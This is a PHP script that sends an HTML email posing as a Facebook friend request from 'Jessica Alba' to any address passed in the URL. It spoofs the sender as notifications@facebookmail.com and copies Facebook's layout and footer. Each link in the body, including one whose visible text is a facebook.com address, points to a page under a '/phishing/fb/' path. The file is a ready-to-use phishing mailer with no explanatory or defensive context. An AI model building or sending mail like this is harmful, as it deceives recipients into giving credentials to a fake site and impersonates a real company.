<?php
$to      = isset($_GET['to']) ? $_GET['to'] : null;
$subject = 'Jessica Alba wants to be friends with you on facebook';

$message = '
<table cellpadding="0" cellspacing="0" border="0" width="620">
<tbody><tr>
<td style="background: #3b5998; color: #FFFFFF; font-weight: bold; font-family: \'lucida grande\', tahoma, verdana, arial, sans-serif; padding: 4px 8px; vertical-align: middle; font-size: 16px; letter-spacing: -0.03em; text-align: left;"><a style="color:#FFFFFF; text-decoration: none;" href="https://service.mail.com/dereferrer/?target=http%3A%2F%2Fwww.facebook.com%2Fn%2F%3Freqs.php%26mid%3D3a248a0G479c091eG1a409ebG2%26bcode%3DHuBUy%26n_m%3Dsretenmadzgalj%2540europe.com%26fcode%3D2ea92c4eb%26f%3D100001995342456&amp;lang=en" target="_blank"><span style="color:#FFFFFF">facebook</span></a></td>
<td style="background: #3b5998; color: #FFFFFF; font-weight: bold; font-family: \'lucida grande\', tahoma, verdana, arial, sans-serif; padding: 4px 8px; vertical-align: middle;font-size: 11px; text-align: right;"></td>
</tr>
<tr><td colspan="2" style="background-color: #FFFFFF; border-bottom: 1px solid #3b5998; border-left: 1px solid #CCCCCC; border-right: 1px solid #CCCCCC; font-family: \'lucida grande\', tahoma, verdana, arial, sans-serif; padding: 15px;" valign="top">
<table width="100%"><tbody><tr>
<td width="440px" style="font-size: 12px;" valign="top" align="left">
<div style="margin-bottom: 15px; font-size: 13px;">Hello,</div>
<div style="margin-bottom: 15px;">Following users want to be friends with you:</div>
<div style="margin-bottom: 15px;">
<div style="border-bottom: 1px solid #ccc; line-height:5px;">&nbsp;</div>
<br><table cellpadding="0" style="margin-top: 5px;"><tbody><tr valign="top">
<td style="padding: 0px 3px 10px 0px;"><a href="http://sreten.bildhosting.me/phishing/fb/" target="_blank"><img style="border: 0px none;" alt="Jessica Alba" src="http://org2.democracyinaction.org/o/6639/images/jessica-alba-headshot.jpg" width="50" height="50"></a></td>
<td width="95" style="font-size: 11px; color: #999; padding: 0px 0px 10px 0px;">
<span style="font-size: 11px; color: #3B5998;"><a href="http://sreten.bildhosting.me/phishing/fb/" style="color: #3B5998; text-decoration: none; font-size: 11px; font-weight: bold;" target="_blank">Jessica Alba</a></span><br>
</td>
</tr></tbody></table>
<div style="border-bottom: 1px solid #ccc; line-height:5px;">&nbsp;</div>
<br>
</div>
<div style="margin-bottom: 15px; margin: 0;">Thanks,<br>
Facebook team</div>
</td>
<td valign="top" width="180" style="padding-left: 15px;" align="left"><table cellspacing="0" cellpadding="0" style="border-collapse:collapse;"><tbody><tr><td style="padding:10px;background-color:#fff9d7;border-left:1px solid #e2c822;border-right:1px solid #e2c822;border-top:1px solid #e2c822;border-bottom:1px solid #e2c822;">
<div style="margin-bottom: 15px; font-size: 12px;">Respond now:</div>
<table cellspacing="0" cellpadding="0" style="border-collapse:collapse;"><tbody><tr><td style="border-width: 1px; border-style: solid; border-color: #3b6e22 #3b6e22 #2c5115; background-color: #69a74e;"><table cellspacing="0" cellpadding="0" style="border-collapse:collapse;"><tbody><tr><td style="padding: 4px 10px 5px; border-top: 1px solid #95bf82;"><a href="http://sreten.bildhosting.me/phishing/fb/" style="color:#fff;text-decoration:none;font-weight:bold;font-size:13px;" target="_blank">Confirm as friend</a></td></tr></tbody></table></td></tr></tbody></table>
</td></tr></tbody></table></td>
</tr></tbody></table>
<br><table cellspacing="0" cellpadding="0" style="border-collapse:collapse;width:100%;"><tbody><tr><td style="padding:10px;background-color:#fff9d7;border-left:1px solid #e2c822;border-right:1px solid #e2c822;border-top:1px solid #e2c822;border-bottom:1px solid #e2c822;">
<div style="font-weight: bold; margin-bottom: 2px; font-size: 11px;">To confirm or ignore this request, visit this link:</div>
<a href="http://sreten.bildhosting.me/phishing/fb/" style="color:#3b5998;text-decoration:none;font-size:11px;" target="_blank">http://www.facebook.com/n/?reqs.php&amp;mid=3a248a0G479c091eG1a409ebG2&amp;bcode=HuBUy&amp;n_m=sretenmadzgalj%40europe.com</a>
</td></tr></tbody></table>
<img src="http://www.facebook.com/email_open_log_pic.php?mid=3a248a0G479c091eG1a409ebG2" style="border:0;width:1px;height:1px;">
</td></tr>
<tr><td colspan="2" style="color: #999999; padding: 10px; font-size: 11px; font-family: "lucida grande", tahoma, verdana, arial, sans-serif;">The message was sent to ' . $to . '. If you don\'t want to receive these emails from Facebook in the future, please follow the link below to unsubscribe.
http://www.facebook.com/o.php?k=db896b&amp;u=1201408286&amp;mid=3a248a0G479c091eG1a409ebG2
Facebook, Inc. P.O. Box 10005, Palo Alto, CA 94303</td></tr>
</tbody></table>
';

$headers = "MIME-Version: 1.0\r\n";
$headers .= 'From: notifications@facebookmail.com' . "\r\n";
$headers .= "Content-type: text/html; charset=UTF-8\r\n";

mail($to, $subject, $message, $headers);
?>